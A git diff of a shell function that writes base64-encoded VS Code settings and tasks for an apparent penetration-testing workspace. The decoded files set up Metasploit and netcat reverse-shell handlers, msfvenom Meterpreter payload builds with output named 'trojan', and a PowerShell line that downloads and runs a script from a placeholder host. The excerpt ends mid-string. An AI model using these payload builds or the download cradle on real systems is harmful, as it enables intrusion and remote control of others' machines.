@@ -28,7 +28,7 @@ weapon_vscode () {
2828 echo ' ZXhwb3J0IFBST0pFQ1RfRk9MREVSPSR7UFdEfQpzb3VyY2UgLi8udnNjb2RlL2Vudi56c2gKCgpleGVjIHpzaCAtaSAgIyBtdXN0IGJlIHRoZXJlLiBvdGhlcndpc2UsIHRoZSB0ZXJtaW5hbCB3aWxsIGNsb3NlIGltbWVkaWF0ZWx5Lg==' | base64 -d > $1 /.vscode/source_kali-orbstack.zsh
2929
3030 # .vscode/source_web-delivery.zsh
31- echo ' c291cmNlICRQUk9KRUNUX0ZPTERFUi8udnNjb2RlL2Vudi56c2gKCm1rZGlyIC1wICRQUk9KRUNUX1dFQl9ERUxJVkVSWQoKY2QgJFBST0pFQ1RfV0VCX0RFTElWRVJZCgojIG9yIHByb2plY3RkaXNjb3Zlcnkvc2ltcGxlaHR0cHNlcnZlcgpweXRob24zIC1tIGh0dHAuc2VydmVyIAoKIyBvcGVuIGh0dHA6Ly9sb2NhbGhvc3Q6ODAwMA ==' | base64 -d > $1 /.vscode/source_web-delivery.zsh
31+ echo ' c291cmNlICRQUk9KRUNUX0ZPTERFUi8udnNjb2RlL2Vudi56c2gKCmlmIFsgLXogIiRQUk9KRUNUX1dFQl9ERUxJVkVSWSIgXTsgdGhlbgogICAgZWNobyAiUFJPSkVDVF9XRUJfREVMSVZFUlkgaXMgbm90IHNldC4gUGxlYXNlIHNldCBpdCBpbiAudnNjb2RlL2Vudi56c2giCmVsc2UgCiAgICBpZiBbIC1kICIkUFJPSkVDVF9XRUJfREVMSVZFUlkiIF07IHRoZW4KICAgICAgICBlY2hvICJGT0xERVIgJFBST0pFQ1RfV0VCX0RFTElWRVJZIGV4aXN0cy4iCiAgICBlbHNlCiAgICAgICAgbWtkaXIgLXAgJFBST0pFQ1RfV0VCX0RFTElWRVJZCiAgICAgICAgZWNobyAiKiIgPiAkUFJPSkVDVF9XRUJfREVMSVZFUlkvLmdpdGlnbm9yZQogICAgICAgIGVjaG8gIkZPTERFUiAkUFJPSkVDVF9XRUJfREVMSVZFUlkgY3JlYXRlZC4iCiAgICBmaQpmaQoKY2QgJFBST0pFQ1RfV0VCX0RFTElWRVJZCgojIG9yIHByb2plY3RkaXNjb3Zlcnkvc2ltcGxlaHR0cHNlcnZlcgpweXRob24zIC1tIGh0dHAuc2VydmVyIAoKIyBvcGVuIGh0dHA6Ly9sb2NhbGhvc3Q6ODAwMA ==' | base64 -d > $1 /.vscode/source_web-delivery.zsh
3232
3333 # .vscode/settings.json
3434 echo 'ewogICAgInRlcm1pbmFsLmludGVncmF0ZWQucHJvZmlsZXMubGludXgiOiB7CiAgICAgICAgInpzaC1zaGVsbCI6IHsKICAgICAgICAgICAgImVudiI6IHsKICAgICAgICAgICAgICAgICJQUk9KRUNUX0ZPTERFUiI6ICIke3dvcmtzcGFjZUZvbGRlcn0iCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJwYXRoIjogInpzaCIsCiAgICAgICAgICAgICJhcmdzIjogWwogICAgICAgICAgICAgICAgIi1jIiwKICAgICAgICAgICAgICAgICJzb3VyY2UgJHt3b3Jrc3BhY2VGb2xkZXJ9Ly52c2NvZGUvc291cmNlLnpzaCIKICAgICAgICAgICAgXQogICAgICAgIH0sCiAgICAgICAgIm1zZmNvbnNvbGUiOiB7CiAgICAgICAgICAgICJvdmVycmlkZU5hbWUiOiB0cnVlLAogICAgICAgICAgICAiZW52IjogewogICAgICAgICAgICAgICAgIlBST0pFQ1RfRk9MREVSIjogIiR7d29ya3NwYWNlRm9sZGVyfSIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInBhdGgiOiAienNoIiwKICAgICAgICAgICAgImFyZ3MiOiBbCiAgICAgICAgICAgICAgICAiLWMiLAogICAgICAgICAgICAgICAgInNvdXJjZSAke3dvcmtzcGFjZUZvbGRlcn0vLnZzY29kZS9zb3VyY2VfbXNmY29uc29sZS56c2giCiAgICAgICAgICAgIF0KICAgICAgICB9LAogICAgICAgICJtZXRlcnByZXRlci1oYW5kbGVyIjogewogICAgICAgICAgICAib3ZlcnJpZGVOYW1lIjogdHJ1ZSwKICAgICAgICAgICAgImVudiI6IHsKICAgICAgICAgICAgICAgICJQUk9KRUNUX0ZPTERFUiI6ICIke3dvcmtzcGFjZUZvbGRlcn0iCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJwYXRoIjogInpzaCIsCiAgICAgICAgICAgICJhcmdzIjogWwogICAgICAgICAgICAgICAgIi1jIiwKICAgICAgICAgICAgICAgICJzb3VyY2UgJHt3b3Jrc3BhY2VGb2xkZXJ9Ly52c2NvZGUvc291cmNlX21ldGFzcGxvaXQtaGFuZGxlci56c2giCiAgICAgICAgICAgIF0KICAgICAgICB9LAogICAgICAgICJuZXRjYXQtaGFuZGxlciI6IHsKICAgICAgICAgICAgIm92ZXJyaWRlTmFtZSI6IHRydWUsCiAgICAgICAgICAgICJlbnYiOiB7CiAgICAgICAgICAgICAgICAiUFJPSkVDVF9GT0xERVIiOiAiJHt3b3Jrc3BhY2VGb2xkZXJ9IgogICAgICAgICAgICB9LAogICAgICAgICAgICAicGF0aCI6ICJ6c2giLAogICAgICAgICAgICAiYXJncyI6IFsKICAgICAgICAgICAgICAgICItYyIsCiAgICAgICAgICAgICAgICAic291cmNlICR7d29ya3NwYWNlRm9sZGVyfS8udnNjb2RlL3JldnNoZWxsLnpzaCIKICAgICAgICAgICAgXQogICAgICAgIH0sCiAgICAgICAgIndlYi1kZWxpdmVyeSI6IHsKICAgICAgICAgICAgIm92ZXJyaWRlTmFtZSI6IHRydWUsCiAgICAgICAgICAgICJlbnYiOiB7CiAgICAgICAgICAgICAgICAiUFJPSkVDVF9GT0xERVIiOiAiJHt3b3Jrc3BhY2VGb2xkZXJ9IgogICAgICAgICAgICB9LAogICAgICAgICAgICAicGF0aCI6ICJ6c2giLAogICAgICAgICAgICAiYXJncyI6IFsKICAgICAgICAgICAgICAgICItYyIsCiAgICAgICAgICAgICAgICAic291cmNlICR7d29ya3NwYWNlRm9sZGVyfS8udnNjb2RlL3NvdXJjZV93ZWItZGVsaXZlcnkuenNoIgogICAgICAgICAgICBdCiAgICAgICAgfQogICAgfSwKICAgICJ0ZXJtaW5hbC5pbnRlZ3JhdGVkLnByb2ZpbGVzLm9zeCI6IHsKICAgICAgICAienNoLXNoZWxsIjogewogICAgICAgICAgICAiZW52IjogewogICAgICAgICAgICAgICAgIlBST0pFQ1RfRk9MREVSIjogIiR7d29ya3NwYWNlRm9sZGVyfSIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInBhdGgiOiAienNoIiwKICAgICAgICAgICAgImFyZ3MiOiBbCiAgICAgICAgICAgICAgICAiLWMiLAogICAgICAgICAgICAgICAgInNvdXJjZSAke3dvcmtzcGFjZUZvbGRlcn0vLnZzY29kZS9zb3VyY2UuenNoIgogICAgICAgICAgICBdCiAgICAgICAgfSwKICAgICAgICAibWV0ZXJwcmV0ZXItaGFuZGxlciI6IHsKICAgICAgICAgICAgIm92ZXJyaWRlTmFtZSI6IHRydWUsCiAgICAgICAgICAgICJlbnYiOiB7CiAgICAgICAgICAgICAgICAiUFJPSkVDVF9GT0xERVIiOiAiJHt3b3Jrc3BhY2VGb2xkZXJ9IgogICAgICAgICAgICB9LAogICAgICAgICAgICAicGF0aCI6ICJ6c2giLAogICAgICAgICAgICAiYXJncyI6IFsKICAgICAgICAgICAgICAgICItYyIsCiAgICAgICAgICAgICAgICAic291cmNlICR7d29ya3NwYWNlRm9sZGVyfS8udnNjb2RlL3NvdXJjZV9tZXRhc3Bsb2l0LWhhbmRsZXIuenNoIgogICAgICAgICAgICBdCiAgICAgICAgfSwKICAgICAgICAibXNmY29uc29sZSI6IHsKICAgICAgICAgICAgIm92ZXJyaWRlTmFtZSI6IHRydWUsCiAgICAgICAgICAgICJlbnYiOiB7CiAgICAgICAgICAgICAgICAiUFJPSkVDVF9GT0xERVIiOiAiJHt3b3Jrc3BhY2VGb2xkZXJ9IgogICAgICAgICAgICB9LAogICAgICAgICAgICAicGF0aCI6ICJ6c2giLAogICAgICAgICAgICAiYXJncyI6IFsKICAgICAgICAgICAgICAgICItYyIsCiAgICAgICAgICAgICAgICAic291cmNlICR7d29ya3NwYWNlRm9sZGVyfS8udnNjb2RlL3NvdXJjZV9tc2Zjb25zb2xlLnpzaCIKICAgICAgICAgICAgXQogICAgICAgIH0sCiAgICAgICAgIm5ldGNhdC1oYW5kbGVyIjogewogICAgICAgICAgICAib3ZlcnJpZGVOYW1lIjogdHJ1ZSwKICAgICAgICAgICAgImVudiI6IHsKICAgICAgICAgICAgICAgICJQUk9KRUNUX0ZPTERFUiI6ICIke3dvcmtzcGFjZUZvbGRlcn0iCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJwYXRoIjogInpzaCIsCiAgICAgICAgICAgICJhcmdzIjogWwogICAgICAgICAgICAgICAgIi1jIiwKICAgICAgICAgICAgICAgICJzb3VyY2UgJHt3b3Jrc3BhY2VGb2xkZXJ9Ly52c2NvZGUvcmV2c2hlbGwuenNoIgogICAgICAgICAgICBdCiAgICAgICAgfSwKICAgICAgICAid2ViLWRlbGl2ZXJ5IjogewogICAgICAgICAgICAib3ZlcnJpZGVOYW1lIjogdHJ1ZSwKICAgICAgICAgICAgImVudiI6IHsKICAgICAgICAgICAgICAgICJQUk9KRUNUX0ZPTERFUiI6ICIke3dvcmtzcGFjZUZvbGRlcn0iCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJwYXRoIjogInpzaCIsCiAgICAgICAgICAgICJhcmdzIjogWwogICAgICAgICAgICAgICAgIi1jIiwKICAgICAgICAgICAgICAgICJzb3VyY2UgJHt3b3Jrc3BhY2VGb2xkZXJ9Ly52c2NvZGUvc291cmNlX3dlYi1kZWxpdmVyeS56c2giCiAgICAgICAgICAgIF0KICAgICAgICB9LAogICAgICAgICJrYWxpLW9yYnN0YWNrIjogewogICAgICAgICAgICAib3ZlcnJpZGVOYW1lIjogdHJ1ZSwKICAgICAgICAgICAgImVudiI6IHsKICAgICAgICAgICAgICAgICJQUk9KRUNUX0ZPTERFUiI6ICIke3dvcmtzcGFjZUZvbGRlcn0iCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJwYXRoIjogInpzaCIsCiAgICAgICAgICAgICJhcmdzIjogWwogICAgICAgICAgICAgICAgIi1jIiwKICAgICAgICAgICAgICAgICJvcmIgLXUgcm9vdCBzb3VyY2UgJHt3b3Jrc3BhY2VGb2xkZXJ9Ly52c2NvZGUvc291cmNlX2thbGktb3Jic3RhY2suenNoIgogICAgICAgICAgICBdCiAgICAgICAgfQogICAgfSwKICAgICJ0ZXJtaW5hbC5pbnRlZ3JhdGVkLmRlZmF1bHRQcm9maWxlLm9zeCI6ICJ6c2gtc2hlbGwiLAogICAgInRlcm1pbmFsLmludGVncmF0ZWQuZGVmYXVsdFByb2ZpbGUubGludXgiOiAienNoLXNoZWxsIiwKICAgICJ0ZXJtaW5hbC5pbnRlZ3JhdGVkLmF1dG9tYXRpb25Qcm9maWxlLm9zeCI6IHsKICAgICAgICAicGF0aCI6ICJ6c2giLAogICAgfSwKICAgICJ0ZXJtaW5hbC5pbnRlZ3JhdGVkLmF1dG9tYXRpb25Qcm9maWxlLmxpbnV4IjogewogICAgICAgICJwYXRoIjogInpzaCIsCiAgICB9LAp9' | base64 -d > $1/.vscode/settings.json
@@ -49,11 +49,14 @@ weapon_vscode () {
4949 echo ' c2V0IFByb21wdCBbS25pZ2h0IE9wZXJhdGlvbiBDb25zb2xlXQpzZXQgTWV0ZXJwcmV0ZXJQcm9tcHQgW0tuaWdodCBFbmVteV0KCiMg' | base64 -d > $1 /.vscode/msfconsole.rc
5050
5151 # .vscode/tasks.json
52- echo 'ewogICAgInZlcnNpb24iOiAiMi4wLjAiLAogICAgInRhc2tzIjogWwogICAgICAgIHsKICAgICAgICAgICAgImxhYmVsIjogIm1zZnZlbm9tIHBheWxvYWQgY3JlYXRpbmciLAogICAgICAgICAgICAidHlwZSI6ICJzaGVsbCIsCiAgICAgICAgICAgICJkZXRhaWwiOiAibXNmdmVub20gcGF5bG9hZCBjcmVhdGluZyB0YXNrIiwKICAgICAgICAgICAgInByb2JsZW1NYXRjaGVyIjogW10sCiAgICAgICAgICAgICJjb21tYW5kIjogWwogICAgICAgICAgICAgICAgIm1zZnZlbm9tIiwKICAgICAgICAgICAgICAgICItcCIsCiAgICAgICAgICAgICAgICAiJHtpbnB1dDptc2Z2ZW5vbS1wYXlsb2FkfSIsCiAgICAgICAgICAgICAgICAiTEhPU1Q9JHtpbnB1dDptc2Z2ZW5vbS1saG9zdH0iLAogICAgICAgICAgICAgICAgIkxQT1JUPSR7aW5wdXQ6bXNmdmVub20tbHBvcnR9IiwKICAgICAgICAgICAgICAgICIke2lucHV0Om1zZnZlbm9tLXBheWxvYWQtYWR2YW5jZWQtb3B0aW9uc30iLAogICAgICAgICAgICAgICAgIi1vIiwKICAgICAgICAgICAgICAgICIke2lucHV0Om1zZnZlbm9tLW91dHB1dH0iLAogICAgICAgICAgICAgICAgIi1mIiwKICAgICAgICAgICAgICAgICIke2lucHV0Om1zZnZlbm9tLWZvcm1hdH0iLAogICAgICAgICAgICBdLAogICAgICAgICAgICAicHJlc2VudGF0aW9uIjogewogICAgICAgICAgICAgICAgImVjaG8iOiB0cnVlLAogICAgICAgICAgICAgICAgInJldmVhbCI6ICJhbHdheXMiLAogICAgICAgICAgICAgICAgImZvY3VzIjogZmFsc2UsCiAgICAgICAgICAgICAgICAicGFuZWwiOiAibmV3IiwKICAgICAgICAgICAgICAgICJzaG93UmV1c2VNZXNzYWdlIjogZmFsc2UsCiAgICAgICAgICAgICAgICAiY2xlYXIiOiB0cnVlLAogICAgICAgICAgICAgICAgImNsb3NlIjogZmFsc2UKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJ1bk9wdGlvbnMiOiB7CiAgICAgICAgICAgICAgICAicnVuT24iOiAiZGVmYXVsdCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImlzQmFja2dyb3VuZCI6IGZhbHNlLAogICAgICAgICAgICAicHJvbXB0T25DbG9zZSI6IHRydWUsCiAgICAgICAgICAgICJoaWRlIjogZmFsc2UsCiAgICAgICAgfQogICAgXSwKICAgICJpbnB1dHMiOiBbCiAgICAgICAgewogICAgICAgICAgICAiaWQiOiAibXNmdmVub20tcGF5bG9hZCIsCiAgICAgICAgICAgICJ0eXBlIjogInBpY2tTdHJpbmciLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiU2VsZWN0IHRoZSBwYXlsb2FkIiwKICAgICAgICAgICAgIm9wdGlvbnMiOiBbCiAgICAgICAgICAgICAgICAvLyBPcmRlciB3aXRoIHRoZSBtb3N0IHVzZWQgcGF5bG9hZHMgZmlyc3QKICAgICAgICAgICAgICAgIC8vIFN0YWdlZCBmaXJzdCwgYmV0dGVyIHN0YWdlbGVzcwogICAgICAgICAgICAgICAgIndpbmRvd3MveDY0L21ldGVycHJldGVyL3JldmVyc2VfdGNwIiwgCiAgICAgICAgICAgICAgICAid2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX3RjcCIsCiAgICAgICAgICAgICAgICAibGludXgveDY0L21ldGVycHJldGVyL3JldmVyc2VfdGNwIiwKICAgICAgICAgICAgICAgICJsaW51eC94ODYvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3AiLAogICAgICAgICAgICAgICAgInBocC9tZXRlcnByZXRlci9yZXZlcnNlX3RjcCIsCiAgICAgICAgICAgICAgICAicHl0aG9uL21ldGVycHJldGVyL3JldmVyc2VfdGNwIiwKICAgICAgICAgICAgICAgICJ3aW5kb3dzL21ldGVycHJldGVyL3JldmVyc2VfaHR0cCIsCiAgICAgICAgICAgICAgICAid2luZG93cy94NjQvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV9odHRwIiwKICAgICAgICAgICAgICAgICJ3aW5kb3dzL21ldGVycHJldGVyL3JldmVyc2VfaHR0cHMiLAogICAgICAgICAgICAgICAgIndpbmRvd3MveDY0L21ldGVycHJldGVyL3JldmVyc2VfaHR0cHMiLAogICAgICAgICAgICAgICAgImphdmEvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3AiLAogICAgICAgICAgICBdCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJpZCI6ICJtc2Z2ZW5vbS1mb3JtYXQiLAogICAgICAgICAgICAidHlwZSI6ICJwaWNrU3RyaW5nIiwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIlNlbGVjdCB0aGUgZm9ybWF0IG9mIHRoZSBwYXlsb2FkIiwKICAgICAgICAgICAgIm9wdGlvbnMiOiBbCiAgICAgICAgICAgICAgICAvLyBleGVjdXRhYmxlIGZpcnN0LCBzY3JpcHQgc2Vjb25kLCB3ZWIgaHRhIHRoaXJkCiAgICAgICAgICAgICAgICAvLyAiIyBET05PVCBDaG9vc2UgdGhpcy4ocHNoIGlzIHBvd2Vyc2hlbGwgc2NyaXB0IHdpdGggbG9hZGVyLHJhdyBpcyB1c2VkIGZvciBweXRob24gamF2YSBwaHAgcHlsb2FkcykiLAogICAgICAgICAgICAgICAgImV4ZSIsCiAgICAgICAgICAgICAgICAiZWxmIiwKICAgICAgICAgICAgICAgICJwc2ggIyBwc2ggaXMgcG93ZXJzaGVsbCBwYXlsb2FkIHdpdGggbG9hZGVyIHVzaW5nIGBJRVgoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ZT1VSSVA6ODAvPG91dHB1dD4ucHMxJyk7YCB0byBsb2FkIGluIG1lbW9yeSAiLAogICAgICAgICAgICAgICAgImRsbCIsCiAgICAgICAgICAgICAgICAiaHRhLXBzaCIsCiAgICAgICAgICAgICAgICAicHNoLWNtZCIsCiAgICAgICAgICAgICAgICAicHNoLW5ldCIsCiAgICAgICAgICAgICAgICAicHNoLXJlZmxlY3Rpb24iLAogICAgICAgICAgICAgICAgImVsZi1zbyIsCiAgICAgICAgICAgICAgICAiZXhlLXNlcnZpY2UiLAogICAgICAgICAgICAgICAgInJhdyAjIHBocCBweXRob24gamF2YSBtZXRlcnByZXRlciB3aWxsIG1lZXQgZXJyb3IgaWYgeW91IGNob29zZSBsaWtlIHBocCBweXRob24iLAogICAgICAgICAgICAgICAgInJhdyB8IHh4ZCAtaSAjIHlvdSBjYW4gdXNlIHRoaXMgdG8gZ2V0IHNoZWxsY29kZSAoYnV0IHlvdSBuZWVkIG91dHB1dCBpbiAvZGV2L3N0ZG91dCkiLAogICAgICAgICAgICAgICAgImpzcCIsCiAgICAgICAgICAgICAgICAiamFyIiwKICAgICAgICAgICAgICAgICJ3YXIiLAogICAgICAgICAgICAgICAgInBsIiwKICAgICAgICAgICAgICAgICJhc3AiLAogICAgICAgICAgICAgICAgImFzcHgiLAogICAgICAgICAgICAgICAgIm1zaSIsCiAgICAgICAgICAgICAgICAicHl0aG9uLXJlZmxlY3Rpb24iLAogICAgICAgICAgICAgICAgInZiYSIsCiAgICAgICAgICAgICAgICAidmJhLWV4ZSIsCiAgICAgICAgICAgICAgICAidmJhLXBzaCIsCiAgICAgICAgICAgICAgICAidmJzIiwKICAgICAgICAgICAgXQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAiaWQiOiAibXNmdmVub20tbGhvc3QiLAogICAgICAgICAgICAidHlwZSI6ICJwcm9tcHRTdHJpbmciLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiRW50ZXIgdGhlIExIT1NUIiwKICAgICAgICAgICAgImRlZmF1bHQiOiAiMTAuMTAuIiwKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICAgImlkIjogIm1zZnZlbm9tLWxwb3J0IiwKICAgICAgICAgICAgInR5cGUiOiAicHJvbXB0U3RyaW5nIiwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkVudGVyIHRoZSBMUE9SVCIsCiAgICAgICAgICAgICJkZWZhdWx0IjogIjY3ODkiLAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAiaWQiOiAibXNmdmVub20tcGF5bG9hZC1hZHZhbmNlZC1vcHRpb25zIiwKICAgICAgICAgICAgInR5cGUiOiAicGlja1N0cmluZyIsCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJFbnRlciB0aGUgYWR2YW5jZWQgb3B0aW9ucyIsCiAgICAgICAgICAgICJkZWZhdWx0IjogIiIsCiAgICAgICAgICAgICJvcHRpb25zIjogWwogICAgICAgICAgICAgICAgIiIsCiAgICAgICAgICAgICAgICAiUHJlcGVuZE1pZ3JhdGU9dHJ1ZSBQcmVwZW5kTWlncmF0ZVByb2M9ZXhwbG9yZXIuZXhlIiwKICAgICAgICAgICAgICAgICJQcmVwZW5kRm9yaz10cnVlIiwKICAgICAgICAgICAgICAgICJQcmVwZW5kU2V0dWlkPXRydWUiLAogICAgICAgICAgICAgICAgIlByZXBlbmRTZXR1aWQ9dHJ1ZSBQcmVwZW5kRm9yaz10cnVlIiwKICAgICAgICAgICAgXQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAiaWQiOiAibXNmdmVub20tb3V0cHV0IiwKICAgICAgICAgICAgInR5cGUiOiAicHJvbXB0U3RyaW5nIiwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkVudGVyIHRoZSBvdXRwdXQgZmlsZW5hbWUuIGlmIHlvdSBwdXQgL2Rldi9zdGRvdXQgaGVyZSwgdGhlIG91dHB1dCB3aWxsIGJlIHByaW50ZWQgdG8gdGhlIHRlcm1pbmFsIiwKICAgICAgICAgICAgImRlZmF1bHQiOiAiJHt3b3Jrc3BhY2VGb2xkZXJ9L3Ryb2phbiIsCiAgICAgICAgfQogICAgXQp9' | base64 -d > $1/.vscode/tasks.json
52+ echo 'ewogICAgInZlcnNpb24iOiAiMi4wLjAiLAogICAgInRhc2tzIjogWwogICAgICAgIHsKICAgICAgICAgICAgImxhYmVsIjogIm1zZnZlbm9tIHBheWxvYWQgY3JlYXRpbmciLAogICAgICAgICAgICAidHlwZSI6ICJzaGVsbCIsCiAgICAgICAgICAgICJkZXRhaWwiOiAibXNmdmVub20gcGF5bG9hZCBjcmVhdGluZyB0YXNrIiwKICAgICAgICAgICAgInByb2JsZW1NYXRjaGVyIjogW10sCiAgICAgICAgICAgICJjb21tYW5kIjogWwogICAgICAgICAgICAgICAgIm1zZnZlbm9tIiwKICAgICAgICAgICAgICAgICItcCIsCiAgICAgICAgICAgICAgICAiJHtpbnB1dDptc2Z2ZW5vbS1wYXlsb2FkfSIsCiAgICAgICAgICAgICAgICAiTEhPU1Q9JHtpbnB1dDptc2Z2ZW5vbS1saG9zdH0iLAogICAgICAgICAgICAgICAgIkxQT1JUPSR7aW5wdXQ6bXNmdmVub20tbHBvcnR9IiwKICAgICAgICAgICAgICAgICIke2lucHV0Om1zZnZlbm9tLXBheWxvYWQtYWR2YW5jZWQtb3B0aW9uc30iLAogICAgICAgICAgICAgICAgIi1vIiwKICAgICAgICAgICAgICAgICIke2lucHV0Om1zZnZlbm9tLW91dHB1dH0iLAogICAgICAgICAgICAgICAgIi1mIiwKICAgICAgICAgICAgICAgICIke2lucHV0Om1zZnZlbm9tLWZvcm1hdH0iLAogICAgICAgICAgICBdLAogICAgICAgICAgICAicHJlc2VudGF0aW9uIjogewogICAgICAgICAgICAgICAgImVjaG8iOiB0cnVlLAogICAgICAgICAgICAgICAgInJldmVhbCI6ICJhbHdheXMiLAogICAgICAgICAgICAgICAgImZvY3VzIjogZmFsc2UsCiAgICAgICAgICAgICAgICAicGFuZWwiOiAibmV3IiwKICAgICAgICAgICAgICAgICJzaG93UmV1c2VNZXNzYWdlIjogZmFsc2UsCiAgICAgICAgICAgICAgICAiY2xlYXIiOiB0cnVlLAogICAgICAgICAgICAgICAgImNsb3NlIjogZmFsc2UKICAgICAgICAgICAgfSwKICAgICAgICAgICAgInJ1bk9wdGlvbnMiOiB7CiAgICAgICAgICAgICAgICAicnVuT24iOiAiZGVmYXVsdCIKICAgICAgICAgICAgfSwKICAgICAgICAgICAgImlzQmFja2dyb3VuZCI6IGZhbHNlLAogICAgICAgICAgICAicHJvbXB0T25DbG9zZSI6IHRydWUsCiAgICAgICAgICAgICJoaWRlIjogZmFsc2UsCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAgICJsYWJlbCI6ICJ2ZW52IGNyZWF0ZSIsCiAgICAgICAgICAgICJ0eXBlIjogInNoZWxsIiwKICAgICAgICAgICAgImRldGFpbCI6ICJ2ZW52IGNyZWF0ZSB0YXNrIiwKICAgICAgICAgICAgImNvbW1hbmQiOiBbCiAgICAgICAgICAgICAgICAicHl0aG9uMyAtbSB2ZW52IHZlbnY7IiwKICAgICAgICAgICAgICAgICJlY2hvICcqJyA+IHZlbnYvLmdpdGlnbm9yZTsiLAogICAgICAgICAgICBdLAogICAgICAgIH0KICAgIF0sCiAgICAiaW5wdXRzIjogWwogICAgICAgIHsKICAgICAgICAgICAgImlkIjogIm1zZnZlbm9tLXBheWxvYWQiLAogICAgICAgICAgICAidHlwZSI6ICJwaWNrU3RyaW5nIiwKICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIlNlbGVjdCB0aGUgcGF5bG9hZCIsCiAgICAgICAgICAgICJvcHRpb25zIjogWwogICAgICAgICAgICAgICAgLy8gT3JkZXIgd2l0aCB0aGUgbW9zdCB1c2VkIHBheWxvYWRzIGZpcnN0CiAgICAgICAgICAgICAgICAvLyBTdGFnZWQgZmlyc3QsIGJldHRlciBzdGFnZWxlc3MKICAgICAgICAgICAgICAgICJ3aW5kb3dzL3g2NC9tZXRlcnByZXRlci9yZXZlcnNlX3RjcCIsIAogICAgICAgICAgICAgICAgIndpbmRvd3MvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3AiLAogICAgICAgICAgICAgICAgImxpbnV4L3g2NC9tZXRlcnByZXRlci9yZXZlcnNlX3RjcCIsCiAgICAgICAgICAgICAgICAibGludXgveDg2L21ldGVycHJldGVyL3JldmVyc2VfdGNwIiwKICAgICAgICAgICAgICAgICJwaHAvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3AiLAogICAgICAgICAgICAgICAgInB5dGhvbi9tZXRlcnByZXRlci9yZXZlcnNlX3RjcCIsCiAgICAgICAgICAgICAgICAid2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX2h0dHAiLAogICAgICAgICAgICAgICAgIndpbmRvd3MveDY0L21ldGVycHJldGVyL3JldmVyc2VfaHR0cCIsCiAgICAgICAgICAgICAgICAid2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX2h0dHBzIiwKICAgICAgICAgICAgICAgICJ3aW5kb3dzL3g2NC9tZXRlcnByZXRlci9yZXZlcnNlX2h0dHBzIiwKICAgICAgICAgICAgICAgICJqYXZhL21ldGVycHJldGVyL3JldmVyc2VfdGNwIiwKICAgICAgICAgICAgXQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgICAiaWQiOiAibXNmdmVub20tZm9ybWF0IiwKICAgICAgICAgICAgInR5cGUiOiAicGlja1N0cmluZyIsCiAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJTZWxlY3QgdGhlIGZvcm1hdCBvZiB0aGUgcGF5bG9hZCIsCiAgICAgICAgICAgICJvcHRpb25zIjogWwogICAgICAgICAgICAgICAgLy8gZXhlY3V0YWJsZSBmaXJzdCwgc2NyaXB0IHNlY29uZCwgd2ViIGh0YSB0aGlyZAogICAgICAgICAgICAgICAgLy8gIiMgRE9OT1QgQ2hvb3NlIHRoaXMuKHBzaCBpcyBwb3dlcnNoZWxsIHNjcmlwdCB3aXRoIGxvYWRlcixyYXcgaXMgdXNlZCBmb3IgcHl0aG9uIGphdmEgcGhwIHB5bG9hZHMpIiwKICAgICAgICAgICAgICAgICJleGUiLAogICAgICAgICAgICAgICAgImVsZiIsCiAgICAgICAgICAgICAgICAicHNoICMgcHNoIGlzIHBvd2Vyc2hlbGwgcGF5bG9hZCB3aXRoIGxvYWRlciB1c2luZyBgSUVYKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vWU9VUklQOjgwLzxvdXRwdXQ+LnBzMScpO2AgdG8gbG9hZCBpbiBtZW1vcnkgIiwKICAgICAgICAgICAgICAgICJkbGwiLAogICAgICAgICAgICAgICAgImh0YS1wc2giLAogICAgICAgICAgICAgICAgInBzaC1jbWQiLAogICAgICAgICAgICAgICAgInBzaC1uZXQiLAogICAgICAgICAgICAgICAgInBzaC1yZWZsZWN0aW9uIiwKICAgICAgICAgICAgICAgICJlbGYtc28iLAogICAgICAgICAgICAgICAgImV4ZS1zZXJ2aWNlIiwKICAgICAgICAgICAgICAgICJyYXcgIyBwaHAgcHl0aG9uIGphdmEgbWV0ZXJwcmV0ZXIgd2lsbCBtZWV0IGVycm9yIGlmIHlvdSBjaG9vc2UgbGlrZSBwaHAgcHl0aG9uIiwKICAgICAgICAgICAgICAgICJyYXcgfCB4eGQgLWkgIyB5b3UgY2FuIHVzZSB0aGlzIHRvIGdldCBzaGVsbGNvZGUgKGJ1dCB5b3UgbmVlZCBvdXRwdXQgaW4gL2Rldi9zdGRvdXQpIiwKICAgICAgICAgICAgICAgICJqc3AiLAogICAgICAgICAgICAgICAgImphciIsCiAgICAgICAgICAgICAgICAid2FyIiwKICAgICAgICAgICAgICAgICJwbCIsCiAgICAgICAgICAgICAgICAiYXNwIiwKICAgICAgICAgICAgICAgICJhc3B4IiwKICAgICAgICAgICAgICA